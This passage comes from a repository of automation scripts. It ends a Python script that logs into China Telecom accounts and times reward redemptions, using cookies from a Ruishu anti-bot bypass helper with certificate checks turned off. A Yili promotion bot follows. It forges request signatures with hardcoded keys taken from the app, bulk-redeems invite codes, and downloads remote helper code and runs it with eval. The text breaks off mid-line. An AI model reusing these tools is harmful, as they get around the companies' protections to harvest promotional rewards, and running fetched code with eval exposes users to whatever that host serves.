289 |         login = response.json()
290 |         printn(f"{get_first_three(phone)}:{login}")
291 | 
292 |         if '兑换成功' in response.text:
293 |             QLAPI.notify(get_first_three(phone), login['resoultMsg'])
294 |             exit(0)
295 | 
296 |     except Exception as e:
297 |         printn(f"{get_first_three(phone)}: 兑换请求发生错误: {str(e)}")
298 |         # 可以选择是否在这里添加重试逻辑
299 | 
300 | async def getLevelRightsList(phone, session):
301 |     try:
302 |         # 获取 Ruishu cookies
303 |         ruishu_cookies = get_ruishu_cookies()
304 |         if not ruishu_cookies:
305 |             print("无法获取 Ruishu cookies")
306 |             return None
307 | 
308 |         value = {
309 |             "phone": phone
310 |         }
311 |         paraV = encrypt_para(value)
312 | 
313 |         # 使用 Ruishu cookies 发送请求
314 |         response = session.post(
315 |             'https://wapside.189.cn:9001/jt-sign/paradise/getLevelRightsList',
316 |             json={"para": paraV},
317 |             cookies=ruishu_cookies
318 |         )
319 | 
320 |         data = response.json()
321 |         if data.get('code') == 401:
322 |             print(f"获取失败:{data},原因大概是sign过期了")
323 |             return None
324 | 
325 |         current_level = int(data['currentLevel'])
326 |         key_name = 'V' + str(current_level)
327 |         ids = [item['id'] for item in data.get(key_name, []) if item.get('name') == '话费']
328 |         return ids
329 | 
330 |     except Exception as e:
331 |         print(f"获取失败,重试一次: {str(e)}")
332 |         try:
333 |             # 重试时重新获取 Ruishu cookies
334 |             ruishu_cookies = get_ruishu_cookies()
335 |             if not ruishu_cookies:
336 |                 print("重试时无法获取 Ruishu cookies")
337 |                 return None
338 | 
339 |             paraV = encrypt_para(value)
340 |             response = session.post(
341 |                 'https://wapside.189.cn:9001/jt-sign/paradise/getLevelRightsList',
342 |                 json={"para": paraV},
343 |                 cookies=ruishu_cookies
344 |             )
345 | 
346 |             data = response.json()
347 |             if data.get('code') == 401:
348 |                 print(f"重试获取失败:{data},原因大概是sign过期了")
349 |                 return None
350 | 
351 |             current_level = int(data['currentLevel'])
352 |             key_name = 'V' + str(current_level)
353 |             ids = [item['id'] for item in data.get(key_name, []) if item.get('name') == '话费']
354 |             return ids
355 | 
356 |         except Exception as e:
357 |             print(f"重试也失败了: {str(e)}")
358 |             return None
359 | 
360 | def get_ruishu_cookies():
361 |     try:
362 |         # 获取当前文件所在目录
363 |         current_dir = os.path.dirname(os.path.abspath(__file__))
364 |         ruishu_path = os.path.join(current_dir, 'Ruishu.py')
365 | 
366 |         # 执行 Ruishu.py 并获取输出
367 |         result = subprocess.run([sys.executable, ruishu_path],
368 |                               capture_output=True,
369 |                               text=True)
370 | 
371 |         if result.returncode != 0:
372 |             print(f"Ruishu.py 执行错误: {result.stderr}")
373 |             return None
374 | 
375 |         # 解析输出的 JSON
376 |         cookies = json.loads(result.stdout.strip())
377 |         return cookies
378 | 
379 |     except Exception as e:
380 |         print(f"获取 Ruishu cookies 时发生错误: {str(e)}")
381 |         return None
382 | 
383 | async def getSign(ticket, session):
384 |     try:
385 |         # 获取 Ruishu cookies
386 |         ruishu_cookies = get_ruishu_cookies()
387 |         if not ruishu_cookies:
388 |             print("无法获取 Ruishu cookies")
389 |             return None
390 | 
391 |         # 合并现有的 cookies 和 Ruishu cookies
392 |         cookies = {**ruishu_cookies}
393 | 
394 |         # 使用合并后的 cookies 发送请求
395 |         response = session.get(
396 |             'https://wapside.189.cn:9001/jt-sign/ssoHomLogin?ticket=' + ticket,
397 |             cookies=cookies
398 |         ).json()
399 | 
400 |         if response.get('resoultCode') == '0':
401 |             sign = response.get('sign')
402 |             return sign
403 |         else:
404 |             print(f"获取sign失败[{response.get('resoultCode')}]: {response}")
405 |     except Exception as e:
406 |         print(f"getSign 发生错误: {str(e)}")
407 |     return None
408 | 
409 | async def qgNight(phone, ticket, timeDiff,isTrue):
410 |     if isTrue:
411 |         runTime = run_Time(23,59,3)
412 |     else:
413 |         # runTime = run_Time(0,0,0) + 0.65
414 |         runTime = 0
415 | 
416 |     if runTime >(time.time()+timeDiff):
417 |         difftime = runTime - time.time() - timeDiff
418 |         print(f"当前时间:{str(datetime.datetime.now())[11:23]},跟设定的时间不同,等待{difftime}秒开始兑换每天一次的")
419 |         await asyncio.sleep(difftime)
420 |     session = requests.Session()
421 |     session.mount('https://', DESAdapter())
422 |     session.verify = False  # 禁用证书验证
423 |     sign =await getSign(ticket,session)
424 |     if sign:
425 |         # print(f"当前时间:{str(datetime.datetime.now())[11:23]}获取到了Sign:"+sign)
426 |         session.headers={"User-Agent":"Mozilla/5.0 (Linux; Android 13; 22081212C Build/TKQ1.220829.002) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.97 Mobile Safari/537.36","sign":sign}
427 |     else:
428 |         print("未获取sign。")
429 |         return
430 |     rightsId =await getLevelRightsList(phone,session)
431 |     if rightsId:
432 |         print("获取到了rightsId:"+rightsId[0])
433 |     else:
434 |         print("未能获取rightsId。")
435 |         return
436 |     # await asyncio.sleep(10)直接延迟也行，或者用下面的等待一段时间。之所以这样是要先获取sign省一些步骤。
437 |     if isTrue:
438 |         runTime2 = run_Time(23,59,59) + 0.7
439 |         difftime = runTime2 - time.time() - timeDiff
440 |         printn(f"等待{difftime}s")
441 |         await asyncio.sleep(difftime)
442 |     await exchangeForDay(phone,session,run_num,rightsId[0],0.1)
443 | async def qgDay(phone, ticket,  timeDiff, isTrue):
444 |     async with AsyncSessionManager() as s:
445 |       pass
446 | 
447 | # 修改 RequestUtil 类
448 | class RequestUtil:
449 |     def __init__(self):
450 |         # 在创建 ClientSession 时通过 headers 参数设置请求头
451 |         self.session = aiohttp.ClientSession(headers={"User-Agent": Config.USER_AGENT})
452 |         self.rate_limiter = RateLimiter(Config.RATE_LIMIT)
453 | 
454 |     async def safe_request(self, method, url, **kwargs):
455 |         for attempt in range(Config.MAX_RETRIES):
456 |             try:
457 |                 await self.rate_limiter.acquire()
458 |                 async with self.session.request(method, url, timeout=Config.REQUEST_TIMEOUT, **kwargs) as response:
459 |                     response.raise_for_status()
460 |                     return await response.json()
461 |             except Exception as e:
462 |                 if attempt == Config.MAX_RETRIES - 1:
463 |                     raise
464 |                 await asyncio.sleep(2 ** attempt)
465 | 
466 |     async def close(self):
467 |         if self.session and not self.session.closed:
468 |             await self.session.close()
469 | 
470 | # 修改 main 函数，增加日志记录
471 | async def main(timeDiff, isTRUE, hour):
472 |     config = Config()
473 |     request_util = RequestUtil()
474 |     
475 |     try:
476 |         PHONES = os.environ.get('chinaTelecomAccount')
477 |         if not PHONES:
478 |             logger.error("未找到环境变量 chinaTelecomAccount")
479 |             raise ValueError("未找到环境变量 chinaTelecomAccount")
480 |             
481 |         phone_list = PHONES.split('\n')
482 |         tasks = []
483 |         logger.info(f"开始处理 {len(phone_list)} 个账号")
484 |         
485 |         for phoneV in phone_list:
486 |             try:
487 |                 value = phoneV.split('#')
488 |                 if len(value) != 2:
489 |                     logger.warning(f"账号格式错误: {phoneV}")
490 |                     continue
491 |                     
492 |                 phone, password = value[0], value[1]
493 |                 logger.info(f'{get_first_three(phone)} 开始登录')
494 |                 
495 |                 ticket = userLoginNormal(phone, password)
496 |                 if not ticket:
497 |                     logger.error(f'{get_first_three(phone)} 登录失败')
498 |                     continue
499 |                     
500 |                 logger.info(f'{get_first_three(phone)} 登录成功')
501 |                 
502 |                 if hour > 15:
503 |                     logger.info(f'{get_first_three(phone)} 加入夜间任务队列')
504 |                     tasks.append(qgNight(phone, ticket, timeDiff, isTRUE))
505 |                 else:
506 |                     logger.info(f'{get_first_three(phone)} 加入日间任务队列')
507 |                     tasks.append(qgDay(phone, ticket, timeDiff, isTRUE))
508 |                     
509 |             except Exception as e:
510 |                 logger.error(f'{get_first_three(phone)} 处理失败: {str(e)}')
511 |                 continue
512 |                 
513 |         logger.info(f"开始执行 {len(tasks)} 个任务")
514 |         results = await asyncio.gather(*tasks, return_exceptions=True)
515 |         
516 |         # 记录任务执行结果
517 |         for i, result in enumerate(results, start=1):  # 从1开始计数
518 |             if isinstance(result, Exception):
519 |                 logger.error(f"任务 {i} 执行失败: {str(result)}")
520 |             else:
521 |                 logger.info(f"任务 {i} 执行成功")
522 |         
523 |     except Exception as e:
524 |         logger.error(f'主程序运行失败: {str(e)}', exc_info=True)
525 |     finally:
526 |         logger.info("正在关闭请求会话")
527 |         await request_util.close()
528 |         logger.info("程序执行完毕")
529 | 
530 | if __name__ == "__main__":
531 |     h = datetime.datetime.now().hour
532 | #    h=15                           #手动设置场次的时间
533 |     print("当前小时为: "+str(h))
534 |     if 10 >h >0:
535 |         print("当前小时为: "+str(h)+"已过0点但未到10点开始准备抢十点场次")
536 |         wttime= run_Time(9,59,8) #抢十点场次
537 |     elif 14 >= h >=10:
538 |         print("当前小时为: "+str(h) +"已过10点但未到14点开始准备抢十四点场次")
539 |         wttime= run_Time(13,59,8) #抢十四点场次
540 |     else:
541 |         print("当前小时为: "+str(h)+"已过14点开始准备抢凌晨")
542 |         wttime= run_Time(23,58,58) #抢凌晨
543 |     # isTRUE=False
544 |     isTRUE=True
545 |     #isTRUE等于False则表示忽略所有限制直接运行。这个参数一般用于测试。实际生产一定要设置为True。
546 |     if(wttime >time.time()) :
547 |         wTime=wttime-time.time()
548 |         print("未到时间,计算后差异:"+str(wTime)+"秒")
549 |         if isTRUE:
550 |             print("一定要先测试，根据自身 设定的重发和多号，不然会出问题，抢购过早或者过晚。")
551 |             print("开始等待:")
552 |             time.sleep(wTime)
553 |     # timeValue = getApiTime("https://f.m.suning.com/api/ct.do")
554 |     timeValue = 0
555 |     timeDiff = timeValue if timeValue > 0 else 0
556 |     asyncio.run(main(timeDiff, isTRUE,h))
557 |     print("所有任务都已执行完毕!")
558 | 


--------------------------------------------------------------------------------
/yili.js:
--------------------------------------------------------------------------------
  1 | /**
  2 |  * cron "5 0,18 * * *" YiLi.js
  3 |  * export YiLi='[{"mobile": "1", "openId": "1", "unionId": "1", "nickName": "1", "avatarUrl": "1", "yiliToken":"1"},{"mobile": "2", "openId": "2", "unionId": "2", "nickName": "2", "avatarUrl": "2", "yiliToken":"2"}]'//yiliToken是域名msmarket.msx.digitalyili.com的access-token
  4 |  * export YiLi_Open='true'//翻牌
  5 |  */
  6 | const $ = new Env('伊利-国庆')
  7 | const YiLi = ($.isNode() ? JSON.parse(process.env.YiLi) : $.getjson("YiLi")) || [];
  8 | const YiLi_Open = ($.isNode() ? process.env.YiLi_Open : $.getdata("YiLi_Open")) === 'true' || false;
  9 | let Utils = undefined;
 10 | let mobile = ''
 11 | let token = ''
 12 | let avatarUrl = ''
 13 | let nickName = ''
 14 | let yiliToken = ''
 15 | let openId = ''
 16 | let unionId = ''
 17 | let type = '2'
 18 | let type1 = '2'
 19 | let YiLi_Code = [
 20 |     "曹素裕邀您来伊利拿礼",
 21 |     "林钟妹邀您来伊利拿礼",
 22 |     "谢维红邀您来伊利拿礼",
 23 |     "李成琼邀您来伊利拿礼",
 24 |     "刘方邀您来伊利拿礼",
 25 |     "厉春香邀您来伊利拿礼",
 26 |     "詹海霞邀您来伊利拿礼",
 27 |     "杨小妹邀您来伊利拿礼",
 28 |     "高文香邀您来伊利拿礼",
 29 |     "孙凤萍邀您来伊利拿礼"
 30 | ]
 31 | let notice = ''
 32 | !(async () => {
 33 |     if (typeof $request != "undefined") {
 34 |         await getYiLiCookie();
 35 |     } else {
 36 |         await main();
 37 |     }
 38 | })().catch((e) => {$.log(e)}).finally(() => {$.done({});});
 39 | 
 40 | async function main() {
 41 |     console.log('作者：@xzxxn777\n频道：https://t.me/xzxxn777\n群组：https://t.me/xzxxn7777\n自用机场推荐：https://xn--diqv0fut7b.com\n')
 42 |     Utils = await loadUtils();
 43 |     for (const item of YiLi) {
 44 |         mobile = item.mobile;
 45 |         unionId = item.unionId;
 46 |         nickName = item.nickName;
 47 |         avatarUrl = item.avatarUrl;
 48 |         openId = item.openId;
 49 |         yiliToken = item.yiliToken;
 50 |         console.log(`用户：${mobile}开始任务`)
 51 |         let login = await commonPost('/v2/wechat/applet/set-user-info', {
 52 |             "headImg": avatarUrl,
 53 |             "phoneNum": mobile,
 54 |             "nickName": nickName,
 55 |             "openId": openId,
 56 |             "unionId": unionId,
 57 |             "ciphertext": Utils.md5(unionId + 'ui@op9889;as98gh12c3b1&!jiasdasdjlkyf98r4y3ujfnakhjrf098')
 58 |         })
 59 |         if (login.code != 200) {
 60 |             console.log(login.message)
 61 |             await sendMsg(`用户：${mobile}\nyiliToken已过期，请重新获取`);
 62 |             continue
 63 |         }
 64 |         console.log(`登录成功`)
 65 |         token = login.data.token;
 66 |         type = login.data.num1;
 67 |         type1 = login.data.num2;
 68 |         let ticketInfo = await commonGet(`/fragment/ticket/ticket-info?openId=${openId}`)
 69 |         if (!ticketInfo.data.sign) {
 70 |             let sign = await commonGet(`/fragment/ticket/sign?openId=${openId}`)
 71 |             console.log(`签到：${sign.message}`)
 72 |         }
 73 |         if (!ticketInfo.data.seePage) {
 74 |             let seePage = await commonGet(`/fragment/ticket/see-page?openId=${openId}`)
 75 |             console.log(`浏览：${seePage.message}`)
 76 |         }
 77 |         if (YiLi_Code.length) {
 78 |             let authorize = await yiLiGet(`/developer/oauth2/buyer/authorize?app_key=zdcade261b48eb4c5e`)
 79 |             if (authorize.data) {
 80 |                 for (var i = 0; i < YiLi_Code.length; i++) {
 81 |                     //console.log(aa[i]);
 82 |                     let inputCode = await commonGet(`/fragment/ticket/input-code?code=${encodeURIComponent(YiLi_Code[i])}&authorizationCode=${authorize.data}&openId=${openId}`,'aes')
 83 |                     console.log(`口令兑换：${inputCode.message}`)
 84 |                 }
 85 |             } else {
 86 |                 console.log(authorize?.error?.msg)
 87 |                 await sendMsg(`用户：${mobile}\nyiliToken已过期，请重新获取`);
 88 |             }
 89 |         }
 90 |         let ticketGet = await commonGet(`/fragment/ticket/get?openId=${openId}`)
 91 |         console.log(`拥有抽卡次数：${ticketGet.data}次`)
 92 |         for (let i = 0; i < ticketGet.data; i++) {
 93 |             let lottery = await commonGet(`/fragmentActivity/lottery?activityId=2&openId=${openId}`)
 94 |             console.log(`抽卡获得：${lottery.data.fragmentName}`)
 95 |         }
 96 |         let cardInfo = await commonGet(`/fragmentActivity/fragment?activityId=2&openId=${openId}`)
 97 |         for (let card of cardInfo.data) {
 98 |             console.log(`卡片：${card.fragmentName} 数量：${card.num}`)
 99 |             if (card.num > 0 && YiLi_Open) {
100 |                 for (let i = 0; i < card.num; i++) {
101 |                     let openPrize = await commonGet(`/fragmentActivity/open-prize?fragmentId=${card.fragmentId}&activityId=2&openId=${openId}`)
102 |                     console.log(`翻卡获得：${openPrize.data.prizeName}`)
103 |                     notice += `用户${mobile} 翻卡获得：${openPrize.data.prizeName}\n`
104 |                 }
105 |             }
106 |         }
107 |     }
108 |     if (notice) {
109 |         await sendMsg(notice);
110 |     }
111 | }
112 | 
113 | async function getYiLiCookie() {
114 |     const yiliToken = $request.headers["access-token"];
115 |     if (!yiliToken) {
116 |         return
117 |     }
118 |     const body = $.toObj($response.body);
119 |     if (!body || !body.data) {
120 |         return
121 |     }
122 |     const newData = {"mobile": body.data.mobile, "openId": body.data.openId, "unionId": body.data.unionId, "nickName": body.data.nickName, "avatarUrl": body.data.avatarUrl, "yiliToken":yiliToken};
123 |     const index = YiLi.findIndex(e => e.mobile == newData.mobile);
124 |     if (index !== -1) {
125 |         if (YiLi[index].yiliToken == newData.yiliToken) {
126 |             return
127 |         } else {
128 |             YiLi[index] = newData;
129 |             console.log(newData.yiliToken)
130 |             $.msg($.name, `🎉用户${newData.mobile}更新yiliToken成功!`, ``);
131 |         }
132 |     } else {
133 |         YiLi.push(newData)
134 |         console.log(newData.yiliToken)
135 |         $.msg($.name, `🎉新增用户${newData.mobile}成功!`, ``);
136 |     }
137 |     $.setjson(YiLi, "YiLi");
138 | }
139 | 
140 | async function yiLiGet(url) {
141 |     return new Promise(resolve => {
142 |         const options = {
143 |             url: `https://msmarket.msx.digitalyili.com${url}`,
144 |             headers : {
145 |                 'register-source': '',
146 |                 'forward-appid': 'wx06af0ef532292cd3',
147 |                 'source-type': '',
148 |                 'content-type': 'application/json',
149 |                 'atv-page': '',
150 |                 'scene': '1089',
151 |                 'xweb_xhr': '1',
152 |                 'access-token': yiliToken,
153 |                 'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 MicroMessenger/6.8.0(0x16080000) NetType/WIFI MiniProgramEnv/Mac MacWechat/WMPF MacWechat/3.8.7(0x13080712) XWEB/1191',
154 |                 'tenant-id': '1559474730809618433',
155 |                 'accept': '*/*',
156 |                 'Sec-Fetch-Site': 'cross-site',
157 |                 'Sec-Fetch-Mode': 'cors',
158 |                 'Sec-Fetch-Dest': 'empty',
159 |                 'Referer': `https://servicewechat.com/wx06af0ef532292cd3/533/page-frame.html`,
160 |                 'Accept-Encoding': 'gzip, deflate, br',
161 |                 'Accept-Language': 'zh-CN,zh;q=0.9',
162 |             }
163 |         }
164 |         $.get(options, async (err, resp, data) => {
165 |             try {
166 |                 if (err) {
167 |                     console.log(`${JSON.stringify(err)}`)
168 |                     console.log(`${$.name} API请求失败，请检查网路重试`)
169 |                 } else {
170 |                     await $.wait(2000)
171 |                     resolve(JSON.parse(data));
172 |                 }
173 |             } catch (e) {
174 |                 $.logErr(e, resp)
175 |             } finally {
176 |                 resolve();
177 |             }
178 |         })
179 |     })
180 | }
181 | 
182 | async function commonPost(url, body) {
183 |     let params = getParams();
184 |     return new Promise(resolve => {
185 |         const options = {
186 |             url: `https://wx-camp-180-shuangjie-api.mscampapi.digitalyili.com${url}`,
187 |             headers : {
188 |                 'content-type': 'application/json',
189 |                 'xweb_xhr': '1',
190 |                 'timestamp': params.timestamp,
191 |                 'signature': params.signature,
192 |                 'uniquecode': params.uniquecode,
193 |                 'access_token': token,
194 |                 'token': token,
195 |                 'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 MicroMessenger/6.8.0(0x16080000) NetType/WIFI MiniProgramEnv/Mac MacWechat/WMPF MacWechat/3.8.7(0x13080712) XWEB/1191',
196 |                 'app-version': '1.1.1',
197 |                 'accept': '*/*',
198 |                 'Sec-Fetch-Site': 'cross-site',
199 |                 'Sec-Fetch-Mode': 'cors',
200 |                 'Sec-Fetch-Dest': 'empty',
201 |                 'Referer': `https://servicewechat.com/wx06af0ef532292cd3/533/page-frame.html`,
202 |                 'Accept-Encoding': 'gzip, deflate, br',
203 |                 'Accept-Language': 'zh-CN,zh;q=0.9',
204 |             },
205 |             body: JSON.stringify(body)
206 |         }
207 |         $.post(options, async (err, resp, data) => {
208 |             try {
209 |                 if (err) {
210 |                     console.log(`${JSON.stringify(err)}`)
211 |                     console.log(`${$.name} API请求失败，请检查网路重试`)
212 |                 } else {
213 |                     await $.wait(2000)
214 |                     resolve(JSON.parse(data));
215 |                 }
216 |             } catch (e) {
217 |                 $.logErr(e, resp)
218 |             } finally {
219 |                 resolve();
220 |             }
221 |         })
222 |     })
223 | }
224 | 
225 | async function commonGet(url) {
226 |     let params = getParams();
227 |     return new Promise(resolve => {
228 |         const options = {
229 |             url: `https://wx-camp-180-shuangjie-api.mscampapi.digitalyili.com${url}`,
230 |             headers : {
231 |                 'content-type': 'application/json',
232 |                 'xweb_xhr': '1',
233 |                 'timestamp': params.timestamp,
234 |                 'signature': params.signature,
235 |                 'uniquecode': params.uniquecode,
236 |                 'access_token': token,
237 |                 'token': token,
238 |                 'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 MicroMessenger/6.8.0(0x16080000) NetType/WIFI MiniProgramEnv/Mac MacWechat/WMPF MacWechat/3.8.7(0x13080712) XWEB/1191',
239 |                 'app-version': '1.1.1',
240 |                 'accept': '*/*',
241 |                 'Sec-Fetch-Site': 'cross-site',
242 |                 'Sec-Fetch-Mode': 'cors',
243 |                 'Sec-Fetch-Dest': 'empty',
244 |                 'Referer': `https://servicewechat.com/wx06af0ef532292cd3/533/page-frame.html`,
245 |                 'Accept-Encoding': 'gzip, deflate, br',
246 |                 'Accept-Language': 'zh-CN,zh;q=0.9',
247 |             }
248 |         }
249 |         $.get(options, async (err, resp, data) => {
250 |             try {
251 |                 if (err) {
252 |                     console.log(`${JSON.stringify(err)}`)
253 |                     console.log(`${$.name} API请求失败，请检查网路重试`)
254 |                 } else {
255 |                     await $.wait(2000)
256 |                     resolve(JSON.parse(data));
257 |                 }
258 |             } catch (e) {
259 |                 $.logErr(e, resp)
260 |             } finally {
261 |                 resolve();
262 |             }
263 |         })
264 |     })
265 | }
266 | 
267 | function getParams() {
268 |     let timestamp = Date.now();
269 |     let uniquecode = timestamp + "&" + String(Math.floor(1e5 + 9e5 * Math.random()));
270 |     var F = "timeStamp:"+ timestamp + "&uniqueCode:" + uniquecode + {
271 |         1: "963QQ45465465xcvdasfasdfzxEcadfafzafoi897as8dfw8g4za78qqfd878000df8/er78a",
272 |         2: "363QQ45465465xcvdas89!safzafwa36paweoi897as8dfw8g4za78qqfd878000df8/er89b",
273 |         3: "763Qi45895465xcv89as89!sa2616wa36paweoi897as8dfw8g4za78qqfd878000df8/eqr23b",
274 |         4: "7531Qi45891546115xcv89as819!sa26161wa36pa81g4z1a78qqfd87810001df18/eqr213b",
275 |         5: "3f53f1Qia4f5f91546fa115axcvfff89asf819!saff26161fwa36fpa81g4z1fa7/eqr21f3b",
276 |         6: "egf513gf1Qifag4f5f9f154g6fa115afxgcvffgf89gasgf8g19!saffg2g6161gfg6fpa@g1g",
277 |         7: "2e@gf513g2f1Qif@ag4!f5f92f215!4g6fa115afxgcvffgf89gasgf82g19!2gfwa3g62fpa2",
278 |         8: "6e@!gf514g2fb1Qif@!bag41f89gasbgf8b2g19!2gfwa3gb62fbpa@g1g32b9999!",
279 |         9: "6a@!gf514g2fb1Qif@!bag41f89gasbgf8b2g19!2gfwa3gb62fbpa@g1g32b9869!++3",
280 |         10: "2e@gf513g2f1Qif@ag4!sdfzxEcadfafzafoi897as8dfw8g4za78qqfd8780df8==/er78a"
281 |     }[type1], e = Utils.md5(F).toUpperCase();
282 |     let signature = 1 == type ? aesEncrypt(e) : 2 == type ? Utils.md5(e).toUpperCase() : 3 == type ? Utils.md5(aesEncrypt(F)).toUpperCase() : 4 == type ? aesEncrypt(aesEncrypt(F)) : e;
283 |     return {"timestamp": timestamp, "uniquecode": uniquecode, "signature": signature}
284 | }
285 | 
286 | function aesEncrypt(e) {
287 |     let cryptojs = Utils.createCryptoJS();
288 |     var t = cryptojs.enc.Utf8.parse('asdvbnqwer!=564av8952116lkouytb+')
289 |         , a = cryptojs.enc.Utf8.parse('Y9uR16ByteIvH8q9')
290 |         , i = cryptojs.enc.Utf8.parse(e)
291 |         , r = cryptojs.AES.encrypt(i, t, {
292 |         iv: a,
293 |         mode: cryptojs.mode.CBC,
294 |         padding: cryptojs.pad.Pkcs7
295 |     });
296 |     return cryptojs.enc.Base64.stringify(r.ciphertext)
297 | }
298 | 
299 | async function loadUtils() {
300 |     let code = $.getdata('Utils_Code') || '';
301 |     if (code && Object.keys(code).length) {
302 |         console.log(`✅ ${$.name}: 缓存中存在Utils代码, 跳过下载`)
303 |         eval(code)
304 |         return creatUtils();
305 |     }
306 |     console.log(`🚀 ${$.name}: 开始下载Utils代码`)
307 |     return new Promise(async (resolve) => {
308 |         $.getScript(
309 |             'https://mirror.ghproxy.com/https://raw.githubusercontent.com/xzxxn777/Surge/main/Utils/Utils.js'
310 |         ).then((fn) => {
311 |             $.setdata(fn, "Utils_Code")
312 |             eval(fn)
313 |             console.log(`✅ Utils加载成功, 请继续`)
314 |             resolve(creatUtils())
315 |         })
316 |     })
317 | }
318 | 
319 | async function sendMsg(message) {
320 |     if ($.isNode()) {
321 |         let notify = ''
322 |         try {
323 |             notify = require('./sendNotify');
324 |         } catch (e) {
325 |             notify = require("./sendNotify");
326 |         }
327 |         await notify.sendNotify($.name, message);
328 |     } else {
329 |         $.msg($.name, '', message)
330 |     }
331 | }
332 | 
333 | // prettier-ignore
334 | function Env(t,e){class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise(((e,i)=>{s.call(this,t,((t,s,o)=>{t?i(t):e(s)}))}))}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.logLevels={debug:0,info:1,warn:2,error:3},this.logLevelPrefixs={debug:"[DEBUG] ",info:"[INFO] ",warn:"[WARN] ",error:"[ERROR] "},this.logLevel="info",this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.encoding="utf-8",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}getEnv(){return"undefined"!=typeof $environment&&$environment["surge-version"]?"Surge":"undefined"!=typeof $environment&&$environment["stash-version"]?"Stash":"undefined"!=typeof module&&module.exports?"Node.js":"undefined"!=typeof $task?"Quantumult X":"undefined"!=typeof $loon?"Loon":"undefined"!=typeof $rocket?"Shadowrocket":void 0}isNode(){return"Node.js"===this.getEnv()}isQuanX(){return"Quantumult X"===this.getEnv()}isSurge(){return"Surge"===this.getEnv()}isLoon(){return"Loon"===this.getEnv()}isShadowrocket(){return"Shadowrocket"===this.getEnv()}isStash(){return"Stash"===this.getEnv()}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null,...s){try{return JSON.stringify(t,...s)}catch{return e}}getjson(t,e){let s=e;if(this.getdata(t))try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise((e=>{this.get({url:t},((t,s,i)=>e(i)))}))}runScript(t,e){return new Promise((s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let o=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");o=o?1*o:20,o=e&&e.timeout?e.timeout:o;const[r,a]=i.split("@"),n={url:`http://${a}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:o},headers:{"X-Key":r,Accept:"*/*"},timeout:o};this.post(n,((t,e,i)=>s(i)))})).catch((t=>this.logErr(t)))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),o=JSON.stringify(this.data);s?this.fs.writeFileSync(t,o):i?this.fs.writeFileSync(e,o):this.fs.writeFileSync(t,o)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let o=t;for(const t of i)if(o=Object(o)[t],void 0===o)return s;return o}lodash_set(t,e,s){return Object(t)!==t||(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce(((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{}),t)[e[e.length-1]]=s),t}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),o=s?this.getval(s):"";if(o)try{const t=JSON.parse(o);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,o]=/^@(.*?)\.(.*?)$/.exec(e),r=this.getval(i),a=i?"null"===r?null:r||"{}":"{}";try{const e=JSON.parse(a);this.lodash_set(e,o,t),s=this.setval(JSON.stringify(e),i)}catch(e){const r={};this.lodash_set(r,o,t),s=this.setval(JSON.stringify(r),i)}}else s=this.setval(t,e);return s}getval(t){switch(this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":return $persistentStore.read(t);case"Quantumult X":return $prefs.valueForKey(t);case"Node.js":return this.data=this.loaddata(),this.data[t];default:return this.data&&this.data[t]||null}}setval(t,e){switch(this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":return $persistentStore.write(t,e);case"Quantumult X":return $prefs.setValueForKey(t,e);case"Node.js":return this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0;default:return this.data&&this.data[e]||null}}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.cookie&&void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar)))}get(t,e=(()=>{})){switch(t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"],delete t.headers["content-type"],delete t.headers["content-length"]),t.params&&(t.url+="?"+this.queryStr(t.params)),void 